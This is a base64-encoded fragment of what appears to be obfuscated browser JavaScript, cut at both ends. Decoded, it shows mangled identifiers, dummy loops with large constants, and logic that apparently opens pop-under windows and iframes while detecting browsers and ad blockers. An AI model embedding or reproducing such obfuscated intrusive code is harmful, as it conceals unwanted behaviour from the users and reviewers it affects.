udGVbWHRdPXtfZTprdSx1ZTpmdW5jdGlvbih0KXt2YXIgcjUsUTUsZTU7cjU9LTk1ODI4OTMwMTtRNT0tNjIxNDQ4NDIyO2U1PTI7Zm9yKHZhciBaNT0xO3c1LmQxKFo1LnRvU3RyaW5nKCksWjUudG9TdHJpbmcoKS5sZW5ndGgsOTUyNjgpIT09cjU7WjUrKyl7dGhpcy5mZT10O2U1Kz0yO31pZih3NS5MMShlNS50b1N0cmluZygpLGU1LnRvU3RyaW5nKCkubGVuZ3RoLDE0MzU1KSE9PVE1KXt0aGlzLmZlPXQ7fX0sbGU6a3UscGU6ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG8scyxhO2k9dGhpcztuPWkuZmU7cj1uLkh0KCk7bz1uLm10O3M9by53dHx8WmMuJCg1KTthPVpjLmsobyk7aWYodD1mdW5jdGlvbigpe3RyeXtpZih0eXBlb2Ygby5GdD09PVpzJiZvLkZ0W0NpXShuLHIsbyk9PT15dSl7cmV0dXJuIHl1O319Y2F0Y2godCl7S2MuZSh0KTt9cmV0dXJuIG11O30sZT1mdW5jdGlvbih0KXtpZih0eXBlb2Ygby5TdD09PVpzKXRyeXtvLlN0W0NpXShuLHIsbyx0KTt9Y2F0Y2godCl7S2MuZSh0KTt9fSx0KCk9PT15dSl7cmV0dXJuIHl1O310eXBlb2Ygb1t6XT09PVRjJiZvW3pdIT09ciYmKHI9b1t6XSk7R2MuanQoby5qdCk7dGhpcy5fZSgpO3RyeXtyZXR1cm4gdGhpcy5sZShyLG8scyxhLGZ1bmN0aW9uKHQpe2kuZGUodCk7aS5oZSYmR2MuaGUoKTtlKHQpO30pO31jYXRjaCh0KXtyZXR1cm4gS2MuZSh0KSx5dTt9fSx2ZTpmdW5jdGlvbih0LGUsaSl7cmV0dXJuKEdjLm10LmJlP1pjLkM6QXUpKHQsZSxpKTt9LGRlOmt1LGhlOmd1fTtRYy5tZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMubWVbWHRdPVpjLnkoUWMudGVbWHRdLHtoZTp5dSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3IodGhpcy52ZSh0LGksbikpO319KTtRYy5nZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMuZ2VbWHRdPVpjLnkoUWMudGVbWHRdLHtoZTohWGMub3QmJiFYYy5kLGxlOmZ1bmN0aW9uKHQsZSxpLG4scil7cih0aGlzLnZlKHQsRmkpKTt9fSk7UWMueWU9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLnllW1h0XT1aYy55KFFjLnRlW1h0XSx7a2U6ZnVuY3Rpb24oKXt2YXIgdCxlLGk7dD1HYy53ZSgpO2U9R2MueGUuUztpPXR5cGVvZiBHYy5tdC5PZT09PVpzP0djLm10Lk9lW0NpXSgpOkdjLm10Lk9lO3JldHVybiBmdW5jdGlvbigpe3ZhciBuLHI7cmV0dXJuIGkhPT1GdT9pOihuPVpjLiQoMSkscj1lP2k6R2MuQ2UodCl8fGksZXUucygpfHwhWGMub3QmJiFYYy5nP3I6KHR1LmEoY3UsbixtdSkscltaXSh2cixHcikrKEdyK3NlK0dyKStuKSk7fSgpO30sbGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgeDksejksaDksbyxzLGEsYyx1LGgsZixwO3g5PTE3MTA2NjI4Nzg7ejk9LTEwMzk3MjE3MTM7aDk9Mjtmb3IodmFyIEw5PTE7dzUuZDEoTDkudG9TdHJpbmcoKSxMOS50b1N0cmluZygpLmxlbmd0aCwzMDE4NykhPT14OTtMOSsrKXtoOSs9Mjt9aWYodzUuZDEoaDkudG9TdHJpbmcoKSxoOS50b1N0cmluZygpLmxlbmd0aCw0NTQ4MCkhPT16OSl7fWE9dGhpcy5rZSgpO2M9R2Mud2UoKTt1PVpjLk4oYyk7aD0xNTtmPVtdO3A9ZnVuY3Rpb24odCl7dmFyIGU7dHlwZW9mIHRbQW5dPT09WnMmJihlPXRbQW5dLGl1LlgodCxncyxlKSk7dFtBbl09ZnVuY3Rpb24oKXtyZXR1cm4geXU7fTt9O2ZvcihHYy5FZSgpLGMmJmNbU2MrR3IrbWNdPT09T24mJmNbYWErR3IrR2ldKFRpKSE9PUZpJiZaYy5mKGMsdW4pJiYocChjKSwwIT09Y1thYStHcitHaV0odW4pW0wrR3IrV2FdKEN0KSYmKGE9Y1thYStHcitHaV0odW4pKT09PUdyJiYoYT1GdSkpLGMmJmNbU2MrR3IrbWNdPT09T24mJmNbYWErR3IrR2ldKFRpKT09PUZpJiZaYy5mKGMsdW4pJiYocChjKSxpbyhmdW5jdGlvbigpe2NbQW5dPW11O30sM2UzKSxHYy5tdC5QZT9hPWNbYWErR3IrR2ldKHVuKTooYT1GdSxYYy5vdCYmKFhjLnV0P2ZbTXJdKGZ1bmN0aW9uKCl7QXUoY1thYStHcitHaV0odW4pLEZpKTt9KTppbyhmdW5jdGlvbigpe0F1KGNbYWErR3IrR2ldKHVuKSxGaSk7fSwyMCkpKSksWGMuZXQmJlhjLnV0fHxYYy5ldCYmWGMuc3QmJiFYYy5kJiYhWGMuYiYmIVhjLmh0PyhBdShhLEZpKSxaYy5IKEJyLGZ1bmN0aW9uKCl7WmMuVCh0KTt9LGgpKTohWGMub3QmJlpjLmgoYyxUaSkhPT1GaSYmKFhjLnV0JiZYYy5zdHx8WGMuaHQmJlhjLnB0PDEwfHxYYy5iJiZYYy5wdDw0MSk/WGMudXQ/KFpjLlEoYSksWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6KFpjLlEodCksY1tTYytHcittY109PT1PbiYmdSYmWmMuVCh1KSk6WGMuZXQmJlhjLmQ/KG89QXUoYSxGaSksWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6KG89eVtRYV0oVWErVnQrY2ksRmkpKT8ob1tFaV1bdW5dPWEsWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6bz1BdSh0LEZpKSxzPTA7czxmW3BpXTtzKyspe2Zbc11bQ2ldKCk7fW8mJnIobyk7fX0pO1FjLm9lPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5vZVtYdF09WmMueShRYy50ZVtYdF0se2hlOnl1LGxlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIG87bz10aGlzLnZlKHQsaSxuKTtvW2tuXSgpO1R1W2JvXSgpO1pjLk0obyk7aW8oZnVuY3Rpb24oKXtyKG8pO30sMWUzKTt9fSk7UWMuY2U9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLmNlW1h0XT1aYy55KFFjLnRlW1h0XSx7bGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO289dGhpcy52ZSh0LGksbik7cz1HYy5UZSgxZTMpO2l1LksoeSxibyxmdW5jdGlvbigpe2lvKGZ1bmN0aW9uKCl7WmMuUChzKTt9LDEwKTt9KTtvW2NjXT1mdW5jdGlvbigpe2lvKGZ1bmN0aW9uKCl7WmMuUChzKTt9LDEwKTt9O3Iobyk7fX0pO1FjLmFlPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5hZVtYdF09WmMueShRYy50ZVtYdF0se2xlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIEQ5LFc5LGw5LG87RDk9MTk0OTIwNzgwOTtXOT04OTkwMjg0O2w5PTI7Zm9yKHZhciBWOT0xO3c1LkwxKFY5LnRvU3RyaW5nKCksVjkudG9TdHJpbmcoKS5sZW5ndGgsNTc4NTApIT09RDk7VjkrKyl7bDkrPTI7fWlmKHc1LkwxKGw5LnRvU3RyaW5nKCksbDkudG9TdHJpbmcoKS5sZW5ndGgsNTEwNjgpIT09Vzkpe315W3NvXT1aYy4kKDUpO289dGhpcy52ZSh0LGksbik7dGhpcy52ZShHcix5W3NvXSxHcik7eVtzb109bXU7cihvKTt9LGhlOnl1fSk7UWMuc2U9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLnNlW1h0XT1aYy55KFFjLnRlW1h0XSx7bGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO289dGhpcy52ZShQdT90OkZ1LGksbik7cz1mdW5jdGlvbigpe29bRWldW3VuXT10O307aXUuSyhvLGtuLHMpO29ba25dKCk7VHVbYm9dKCk7aW8ocywxMDApO3Iobyk7fSxoZTp5dX0pO1FjLm5lPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5uZVtYdF09WmMueShRYy50ZVtYdF0se0ZlOmZ1bmN0aW9uKCl7dmFyIHQsZTtlPVpjLnooYXIse2RhdGE6WmMuTChlbitQZStNYyx0aGlzLkFlKStaYy4kKDMpfSk7cmV0dXJuKHQ9WmMueihoYyx7c3R5bGU6UGkrVnQrYStlcitvYytWdCtIcytlcitLYStWdCtIcytlcitEYStWdCtOK2VyK3ArVnQrRnIrSGErR3IrZXIrSGkrVnQrem4rZXIrayt3aStHYStWdCtYaStlciskbytWdCthK2VyK0dyfSkpW0l0K0dyK1dlXShlKSxbZSx0XTt9LFNlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9WmMueSh0LHt9KTtyZXR1cm4gZVtwXT1lW0hpXT05ZTUsZVtvY109ZVtLYV09MSxlO30sQWU6THQrR3IrdGErR3IrRmMrR3IrUHMrR3Irb24rR3IrV2MrR3IreG8rR3IrJCtHcithaStHcituK0dyK1NhK0dyK0tyK0dyK1F0K0dyK2t0K0dyK3p0K0dyK3RjK0dyK1l0K0dyK3ZhK0dyK3MrR3IrdmErdWMraG4rR3IrTGErR3IrenQrR3IrVytHcitEYytHcitaYStHcittdCtHcitWaStHcitzYStHcitVZStHcitUYStHcit2YStHcitWaStHcitQcitHcit4bytHcitVZStHcitpYytHcitwbytHcitLcitHcitKK0dyK2hzK0dyK1ppK0dyK3ZhK0dyK1ByK0dyK0xhK0dyK3p0K0dyK1crR3IrRmMrR3IrdGMrR3IrWGErR3IrVHMrR3IrWmkrR3IrdmErR3IrUHIrR3IrSGUrR3IrenQrR3IrVytHcitGYytHcit0YytHcityYytHcithZStHcit2aStHcit2YStHcitQcitHcitydCtHcitwcytHcittdCtHcituYStHcitUbytHcityZStHcit4bytHcit0YStHcitqaStHcitXK0dyK2F0K0dyK3ZhK0dyK1ByK0dyK2MrR3IrYit1YytFK0dyK1FvK0dyK3BzK0dyK2RjK0dyK1l0K0dyK3ZhK0dyK1lhK0dyK1hhK0dyK1RzK0dyK1ppK0dyK3ZhK0dyK0dlK0dyK09lK0dyK2dhK0dyK0hvK0dyK3ZhK0dyK1ByK0dyK2t0K0dyK3p0K0dyK1crR3IrRmMrR3IrdGMrR3IrdmErR3Ircm4rdWMrQnQrR3IrVm4rR3IrRStHcitucitHcitrdCtHcit6dCtHcitXK0dyK0RjK0dyK1phK0dyK210K0dyK1ZpK0dyK09lK0dyK1krR3IrS3QrR3IreG8rR3IrVWUrR3IrYnMrR3IrRnQrR3IrUG8rR3IrRStHcitVZStHcitiaStHcitVZStHcitTZStHcitWcitHcitEcytHcit4bytHcitVZStHcitHbytHcit2YStHcitQdCtHcitVZStHcitScitHcit5YytHcitPZStHcitWbytHcitLcitHcit2YytHcitiZStHcitzK0dyK3hjK0dyK0tvK0dyK3IrR3IrYWkrR3IrZnQrdWMrQnQrR3IrVm4rR3IrRStHcitucitHcitBZStHcit6dCtHcitXK0dyK0RjK0dyK1phK0dyK210K0dyK1ZpK0dyK05hK0dyK1RzK0dyK010K0dyK2hyK0dyK1lzK0dyK0tzK0dyK0UrR3IrVWUrR3IrZm4rR3IrcmMrR3IrYWUrR3IrRCtHcitMdCtHcitWcitHcit0YStHcittdCtHcitacitHcitWcitHcitPZSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3ZhciBzLGEsYyx1LGg7dT10aGlzO2g9eXU7dHJ5eyhhPXRoaXMudmUoVWErVnQrY2ksRmkpKVttcl1bcnJdKHc1LnU0KHVyLEdyLEdyLGpvLFBlLHVpLEdyLFFyLEdyLFBlLG8sR3IsdWksdWksR3IsdXIsUGUsR3IsdXIsam8sR3IsdXIsbyx1aSxHcix1cixHcix1aSxRcix1cix1aSx3NS5ZNCgxMykpKTtpdS5LKGEscWEsZnVuY3Rpb24oKXtmdW5jdGlvbiBmKCl7bigpO2FbSW9dKCk7bygpO3JvKGMpO31ofHwoaD1ndSxzPWFbQmNdPUF1KFVhK1Z0K2NpLGksWmMuayh1LlNlKGUpKSksaXUuWChhLGJvLGYpLGM9aW8oZiwzZTMpLGFbbXJdW1FyXVtQYStHcithaStHcit4YytHcit6dCtHcitwYV09dS5GZSgpWzFdW1BuK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXSk7ZnVuY3Rpb24gbigpe3c1Llk0KDE0KTthW21yXVtRcl1bdzUudTQoUGEsenQsR3IsR3IsR3IseGMsR3IsYWkscGEpXT1Hcjt9ZnVuY3Rpb24gbygpe3ZhciBhMSxZMSxmMTthMT0tMTU2OTI3MTMyMDtZMT0yMzc1ODcyNDtmMT0yO2Zvcih2YXIgRDE9MTt3NS5MMShEMS50b1N0cmluZygpLEQxLnRvU3RyaW5nKCkubGVuZ3RoLDk0NDMyKSE9PWExO0QxKyspe3NbRWMlR3ItYmFdKGVbSGldLGVbcF0pO3NbZGElR3IqYmFdKGVbb2NdLGVbS2FdKTtzW0VpXVtaXSh0KTtyKHMpO2YxKz0yO31pZih3NS5kMShmMS50b1N0cmluZygpLGYxLnRvU3RyaW5nKCkubGVuZ3RoLDYyNDUzKSE9PVkxKXtzW0VjJUdyLWJhXShlW0hpXSxlW3BdKTtzW2RhJUdyKmJhXShlW29jXSxlW0thXSk7c1tFaV1bWl0odCk7cihzKTt9c1tFYytHcitiYV0oZVtIaV0sZVtwXSk7c1tkYStHcitiYV0oZVtvY10sZVtLYV0pO3NbRWldW1pdKHQpO3Iocyk7fX0pO31jYXRjaCh0KXt9fX0pO1FjLnJlPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5yZVtYdF09WmMueShRYy5uZVtYdF0se2xlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIG8scztzPVpjLk8oZ3UpO2l1LksoeSxibyxmdW5jdGlvbigpe1pjLlAocyk7b1tFaV1bWl0odCk7cihvKTt9KTt3NS5vNCg0KTtvPXRoaXMudmUodzUuYzQoVWEsVnQsY2kpLEZpKTtzW3RvK0dyK3lhXVttcl1bcnJdKHRoaXMuRmUoKVsxXVtQbitHcithaStHcit4YytHcit6dCtHcitwYV0pO319KTtRYy5pZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMuaWVbWHRdPVpjLnkoUWMudGVbWHRdLHtMZTpmdW5jdGlvbih0KXt2YXIgZSxpLG47aT10aGlzO249eXU7dzUubzQoNCk7ZT10aGlzLnZlKHc1LmM0KFVhLFZ0LGNpKSx0Lnd0fHxGaSx0LkJlfHxHcik7dC56ZSYmKGUmJmVbSW9dKCksbj1ndSk7IW4mJmUmJmlvKGZ1bmN0aW9uKCl7ZVtFaV1bdW5dPXQueHQ7dC5JZSYmaS5JZShlKTt9LDEwMCk7fSx1ZTpmdW5jdGlvbih0KXt2YXIgZSxpLG47bj10aGlzO3RoaXMuamU9ZHJbTW5dKCk7dGhpcy5mZT10O2U9R2Mud2UoKTt3NS5vNCgxNSk7aT1aYy5CKGUsdzUuYzQoZ3QsR3IseGMsR3IsR3IsRmMseGMsR3IsZmMsR3IsVnIpKTsoZVtTYytHcittY109PT1PbiYmZVthYStHcitHaV0oanIpIT09RmkmJiFaYy5TKGUpfHxpJiYhWmMuUyhpKSkmJih0aGlzLmhlPWd1KTtpdS5YKHksSWUsZnVuY3Rpb24gdChlKXt0cnl7ZVtpZV0uamU9PT1uLmplJiZuLkxlKGVbaWVdKTtlW2llXS56ZSYmaXUuWih5LEllLHQpO31jYXRjaCh0KXt9fSk7fSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3RoaXMuSWU9cjt0aGlzLk1lKHtqZTp0aGlzLmplLEJlOm4sSWU6Z3UseHQ6dH0pO3RoaXMuTWUoe2plOnRoaXMuamUsemU6Z3UseHQ6VWErVnQrY2l9KTt9LGhlOnl1LE1lOmZ1bmN0aW9uKHQpe3lbSnQrR3IrWF0odCx5W0VpXVtSb10pO319KTtHYz17X2k6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5RaSgpK3RoaXMuSGkoKT5aYy5HKCk7fSxLaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLm10LkplO30sSmU6ZnVuY3Rpb24oKXt2YXIgdDt0PVpjLngoYXJndW1lbnRzWzBdKT9hcmd1bWVudHNbMF06YXJndW1lbnRzO3JldHVybiB0aGlzLm5uKHQsUm4sdFtwaV0mJnRbMF09PT15dSk7fSxraTpmdW5jdGlvbih0LGUsaSxuKXt0aGlzLk9pKGksdCxndSl8fG4oZ3UseXUpO30sV2k6ZnVuY3Rpb24odCl7dHJ5e3JldHVybiB0W3F0XSYmMCE9PXRbcXRdfHx0aGlzLmNpLkcrMTUwPlpjLkcoKTt9Y2F0Y2godCl7cmV0dXJuIHl1O319LFJpOmZ1bmN0aW9uKCl7dGhpcy5XZT1bXTt9LFlpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubXQucWU7fSxVaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLldlO30sWmU6bXUsVGk6ZnVuY3Rpb24odCl7dmFyIGU7ZT0wO2lmKCF0fHx0aGlzLnFpKHQpKXtyZXR1cm4geXU7fWlmKCF0aGlzLm10LnFlW3BpXXx8dFthYStHcitHaV0obG8pPT09ZnUpe3JldHVybiBndTt9Zm9yKDtlPHRoaXMubXQucWVbcGldO2UrKylpZih0PT09dGhpcy5tdC5xZVtlXXx8dHlwZW9mIHRoaXMubXQucWVbZV09PT1UYyYmKHRbU2MrR3IrbWNdPT09dGhpcy5tdC5xZVtlXVtYcytHcitwcitHcituY10oKXx8WmMuSSh0LHRoaXMubXQucWVbZV0pKXx8WmMuQih0LHRoaXMubXQucWVbZV0pKXtyZXR1cm4gZ3U7fXJldHVybiB5dTt9LHdlOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMueGUuUXQ7fSxMaTpmdW5jdGlvbigpe3ZhciB0LGU7ZT10aGlzO3RoaXMuWmU9WmMueihoYyx7c3R5bGU6b2MrVnQrRnIrSGErR3IrZXIrS2ErVnQrRnIrSGErR3IrZXIrRGErVnQrSXMrZXIrcCtWdCt6bitlcitIaStWdCt6bitlcitzbit3aStMK1Z0K25vK2VyK3h0K1Z0K1hpK2VyK0dyfSxHcik7dD1DbyhmdW5jdGlvbigpe3ZhciBpO2k9cmlbUXJdO2kmJihHcyh0KSxpW0l0K0dyK1dlXShlLlplKSk7fSwxMDApO30saGk6ZnVuY3Rpb24oKXt2YXIgTjksYTksWTksdCxlLGk7Tjk9LTUxNTA4MTc1NzthOT0tMTMwNjg1MTEzNztZOT0yO2Zvcih2YXIgczk9MTt3NS5kMShzOS50b1N0cmluZygpLHM5LnRvU3RyaW5nKCkubGVuZ3RoLDEwMDExKSE9PU45O3M5Kyspe1k5Kz0yO31pZih3NS5MMShZOS50b1N0cmluZygpLFk5LnRvU3RyaW5nKCkubGVuZ3RoLDQ1MzQ0KSE9PWE5KXt9aT10aGlzLlhlLm9pO2Zvcih0PTA7dDx0aGlzLmZpW3BpXSYmKCF0aGlzLnBpKCkmJiF0aGlzLl9pKCkpO3QrKyl7aWYoZT10aGlzLmZpW3RdLHRoaXMuWGUuc2krKyx0aGlzLlhlLm9pPVpjLkcoKSx0aGlzLmxpKGUpPT09eXUpe3JldHVybiB0aGlzLlhlLnNpLS0sdm9pZCh0aGlzLlhlLm9pPWkpO31pPXRoaXMuWGUub2k7ZXUuYShodSx0aGlzLlhlLm9pKTtlLnl0PT09bHUmJmV1LmEodXUsdGhpcy5YZS5zaSk7fX0sT2k6ZnVuY3Rpb24odCxlLGkpe3ZhciBuLHIsbyxzO3c1Lm80KDQpO289dzUuYzQoR3IsVHQsR3IpO3c1Llk0KDIpO3M9dzUuYzQobyx0KTtmb3Iobj0wO248ZVtwaV07bisrKWlmKHI9KEdyK090K0dyK1R0K0dyKVtMK0dyK1dhXShlW25dWzBdKT4tMT9lW25dOm8rZVtuXSxzW2ZzXShzW3BpXS1yW3BpXSk9PT1yfHxpJiZyPT09d3Upe3JldHVybiBndTt9cmV0dXJuIHl1O30sZW46ZnVuY3Rpb24odCxlKXt2YXIgTDAsZDAsTzAsaSxuO0wwPTEyMjU5MjUxNjQ7ZDA9LTc2NDA0NzIyNjtPMD0yO2Zvcih2YXIgQzA9MTt3NS5MMShDMC50b1N0cmluZygpLEMwLnRvU3RyaW5nKCkubGVuZ3RoLDk4MzQ3KSE9PUwwO0MwKyspe08wKz0yO31pZih3NS5MMShPMC50b1N0cmluZygpLE8wLnRvU3RyaW5nKCkubGVuZ3RoLDg1NTk4KSE9PWQwKXt9aT10aGlzO249dGhpcy50bih0LGUpO3RoaXMuV2VbTXJdKG4pO3RoaXMuRGkobik7dGhpcy5pbnx8KEdjLkNpKCksZnVuY3Rpb24oKXt2YXIgdCxlO1hjLmImJigoZT1yaVtVcytHcitDbl0oaGMpKVtSYytHcitpdF0oVmEsZnVuY3Rpb24oKXtDdT1ndTt9KSxDdT1vNSx0PUNvKGZ1bmN0aW9uKCl7aWYoQ3U9eXUsIWkubXQuUmUpe2lmKHR5cGVvZiB5W3dzXSE9PWFyfHx0eXBlb2YgeVt3c11bT29dIT09WnMpe3JldHVybiBDdT1vNSx2b2lkIEdzKHQpO315W3dzXVtPb10oZSk7eVt3c11bTWldKCk7fX0sNTAwKSk7fSgpLHRoaXMuaW49bzUpO30sUGk6ZnVuY3Rpb24odCl7cmV0dXJuIHRoaXMuSmkoKSx0P3RoaXMuZmlbcGldOnRoaXMuZmlbcGldPjA7fSx2aTpmdW5jdGlvbigpe3ZhciB0LGU7dD1aYy5HKCk7ZT1aYy5HKGF1KTt3NS5ZNCgxNik7dGhpcy5YZS5yaT13NS5jNChlLHQsMzE1MzYwMDAwMDApO3RoaXMuWGUucmkmJih0aGlzLmxpPWt1KTt9LEJpOmZ1bmN0aW9uKCl7dmFyIHQ7dD1VYyhldS5jKGh1KSwxMCk7cWModCkmJih0PTApO3RoaXMuWGUub2k9dDt9LENlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9WmMuTih0KTtyZXR1cm4gZSYmIXRoaXMubXQuTmUmJlpjLlModCk/eXU6ZTt9LGp0OmZ1bmN0aW9uKHQpe3ZhciBlLGksbjtlPXR5cGVvZiB0PT09Z2U/Z3U6ISF0O3c1Lm80KDIpO2k9dzUuYzQocnUsSSk7bj1yaVthYStHcitDbitHcitpaStHcit0bl0oaSk7ZT9ufHwobj1aYy56KERvLHtjb250ZW50OkljK3dpK2lhLG5hbWU6aWEsaWQ6aX0pLHJpW2FhK0dyK1JlK0dyK2lpK0dyK1JpK0dyK21jXShvKVswXVtJdCtHcitXZV0obikpOm4mJlpjLlAobik7fSxHaTpmdW5jdGlvbigpe3RoaXMuWGUuaWk9Z3U7dGhpcy5oaT1rdTt9LEp0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubXQuRGU7fSx5aTpmdW5jdGlvbih0LGUsaSxuLHIpe2Zvcih2YXIgbyxzPTA7czxlJiYobz10W3NdLCEoMT09PW4mJihyKGlbcytlXSx0W3NdKmlbc10rcysoaVtzXT4+cyszKSl8fHIoaVtzKzIqZV0sdFtzXSoodFswXSt0WzFdK3RbMl0pKyhpW3NdPDxzKSl8fHIoaVtzKzMqZV0sZHJbQWNdKHRbMF0qdFsxXSp0WzJdL28pK28rKGlbc10+PnMpKSl8fG48MSYmKHIoaVtzK2VdLHRbc10qaVtzXStzKXx8cihpW3MrMiplXSx0W3NdKih0WzBdK3RbMV0rdFsyXSkpfHxyKGlbcyszKmVdLGRyW0FjXSh0WzBdKnRbMV0qdFsyXS9vKStvKSkpKTtzKyspO30scWk6ZnVuY3Rpb24odCl7dmFyIGU7ZT0wO2lmKCF0fHwhdGhpcy5tdC5KZVtwaV0pe3JldHVybiB5dTt9Zm9yKDtlPHRoaXMubXQuSmVbcGldO2UrKylpZih0PT09dGhpcy5tdC5KZVtlXXx8dHlwZW9mIHRoaXMubXQuSmVbZV09PT1UYyYmKHRbU2MrR3IrbWNdPT09dGhpcy5tdC5KZVtlXXx8WmMuSSh0LHRoaXMubXQuSmVbZV0pKXx8WmMuQih0LHRoaXMubXQuSmVbZV0pKXtyZXR1cm4gZ3U7fXJldHVybiB5dTt9LGNpOnt1aTp7fSxHOjB9LEhpOmZ1bmN0aW9uKCl7cmV0dXJuIFhjLm90P2RyW0JvXSh0aGlzLm10LlZlLDFlMyk6WGMuYnx8WGMuZ3x8WGMuY3R8fFhjLnV0JiYhWGMuZXQ/ZHJbQm9dKHRoaXMubXQuVmUsMjAwKTp0aGlzLm10LlZlO30sRWU6ZnVuY3Rpb24odCl7dmFyIGUsWjcsdDcsVTc7Wjc9LTEyNTc1NDEyNDI7dDc9MTMwMDY1ODcyMDtVNz0yO2Zvcih2YXIgejc9MTt3NS5MMSh6Ny50b1N0cmluZygpLHo3LnRvU3RyaW5nKCkubGVuZ3RoLDgzNTc3KSE9PVo3O3o3Kyspe2U9dHx8dGhpcy5jaS51aTtVNys9Mjt9aWYodzUuZDEoVTcudG9TdHJpbmcoKSxVNy50b1N0cmluZygpLmxlbmd0aCwzMDU1KSE9PXQ3KXtlPXQmJnRoaXMuY2kudWk7fXRyeXtlW01vK0dyK25pXSYmZVtNbytHcituaV0oKTtlW3FlK0dyK19zXSYmZVtxZStHcitfc10oKTt3NS5vNCg0KTtlW3c1LmM0KE5yLEdyLGNvKV09eXU7dzUubzQoNCk7ZVt3NS51NChtcyxHcixIcildPWd1O31jYXRjaCh0KXt9fSxpOmZ1bmN0aW9uKCl7dmFyIE8xLEcxLEMxO08xPS0xMzAyMzI0NTE3O0cxPTg4ODY0MDYzMDtDMT0yO2Zvcih2YXIgbjE9MTt3NS5kMShuMS50b1N0cmluZygpLG4xLnRvU3RyaW5nKCkubGVuZ3RoLDU5MTU1KSE9PU8xO24xKyspe3JldHVybiB0aGlzLm10LlVlfHx0aGlzLm10LkRlO0MxKz0yO31pZih3NS5MMShDMS50b1N0cmluZygpLEMxLnRvU3RyaW5nKCkubGVuZ3RoLDIzODAyKSE9PUcxKXtyZXR1cm4gdGhpcy5tdC5VZSYmdGhpcy5tdC5EZTt9fSxwaTpmdW5jdGlvbigpe3ZhciBoNyxpNyxMNztoNz0tMTUxMTEyMzE1NDtpNz0tMTY3MjAwNTI5NjtMNz0yO2Zvcih2YXIgTzc9MTt3NS5kMShPNy50b1N0cmluZygpLE83LnRvU3RyaW5nKCkubGVuZ3RoLDMyNTMzKSE9PWg3O083Kyspe3JldHVybiB0aGlzLiRpKCk8dGhpcy5tdC5IZTtMNys9Mjt9aWYodzUuTDEoTDcudG9TdHJpbmcoKSxMNy50b1N0cmluZygpLmxlbmd0aCwxOTk5KSE9PWk3KXtyZXR1cm4gdGhpcy4kaSgpPj10aGlzLm10LkhlO319LGdpOmZ1bmN0aW9uKHQsZSxpLG4scil7Zm9yKHZhciBvLHM9MDtzPGUmJihvPXRbc10sISgxPT09biYmKHIob1trZStHcitucytHcitCaV0oMCkqaVtzXStzKzErKGlbc108PGlbc10lMTApLGlbZStzXSl8fHIob1trZStHcitucytHcitCaV0ob1twaV0tMSkqaVtzXSoyK3MrKGlbc10+PnMpLGlbMiplK3NdKXx8cihvW3BpXSppW3NdKjMrKGlbc108PHMpLGlbMyplK3NdKSl8fG48MSYmKHIob1trZStHcitucytHcitCaV0oMCkqaVtzXStzKzEsaVtlK3NdKXx8cihvW2tlK0dyK25zK0dyK0JpXShvW3BpXS0xKSppW3NdKjIrcyxpWzIqZStzXSl8fHIob1twaV0qaVtzXSozLGlbMyplK3NdKSkpKTtzKyspO30sV2U6W10sdG46ZnVuY3Rpb24odCxlKXtyZXR1cm4gbmV3IFljKHRoaXMuV2VbcGldLHQsZSk7fSxBaTpmdW5jdGlvbih0KXt0aGlzLmNpLnVpPXQ7dGhpcy5jaS5HPVpjLkcoKTt9LGFpOltdLE1pOmZ1bmN0aW9uKHQpe3JldHVybiBudS5YdCh0KSx0aGlzO30sWmk6ZnVuY3Rpb24oKXtyZXR1cm4gWmMucChbW1RyLHRoaXMubXQuRGVdLFtvaSx0aGlzLm10LlVlXSxbd3QsdGhpcy5tdC5SZV0sW0xyK0dyK3plLHRoaXMubXQuT2VdLFtSbitHcitFbix0aGlzLm10Lk5lXSxbRHQsdGhpcy5tdC5IZV0sW2xjK0dyK2JhLHRoaXMubXQucWVdLFtSbitHcitiYSx0aGlzLm10LkplXSxbUW4sdGhpcy5tdC5WZV0sW3crR3IrVix0aGlzLm10LiRlXSxbdytHcitEbix0aGlzLm10LlFlXSxbcG4rR3IrdHIrR3IrTG4sdGhpcy5tdC5HZV0sW0JzK0dyK2wrR3IrU3MsdGhpcy5tdC4kdF0sW05zK0dyKyRyLHRoaXMubXQuWWVdLFtJYytHcitwYytHcitfaSx0aGlzLm10LmJlXSxbTHMrR3IrYnQsdGhpcy5tdC5LZV0sW0IrR3IrdmUrR3IrX28rR3IreW4rR3IrTG4sdGhpcy5tdC5QZV1dKTt9LFRlOmZ1bmN0aW9uKHQpe3ZhciBlLGk7aT1aYy5PKGd1KTtyZXR1cm4gZT1pW3RvK0dyK3lhXVttcl1bVXMrR3IrQ25dKGRlKSwwPT09eVtFaV1bdW5dW0wrR3IrV2FdKGorVnQrR3IpP2VbUGErR3IrYWkrR3IreGMrR3IrenQrR3IrcGFdPUdyKyhXcitZZStHcit3bitHcik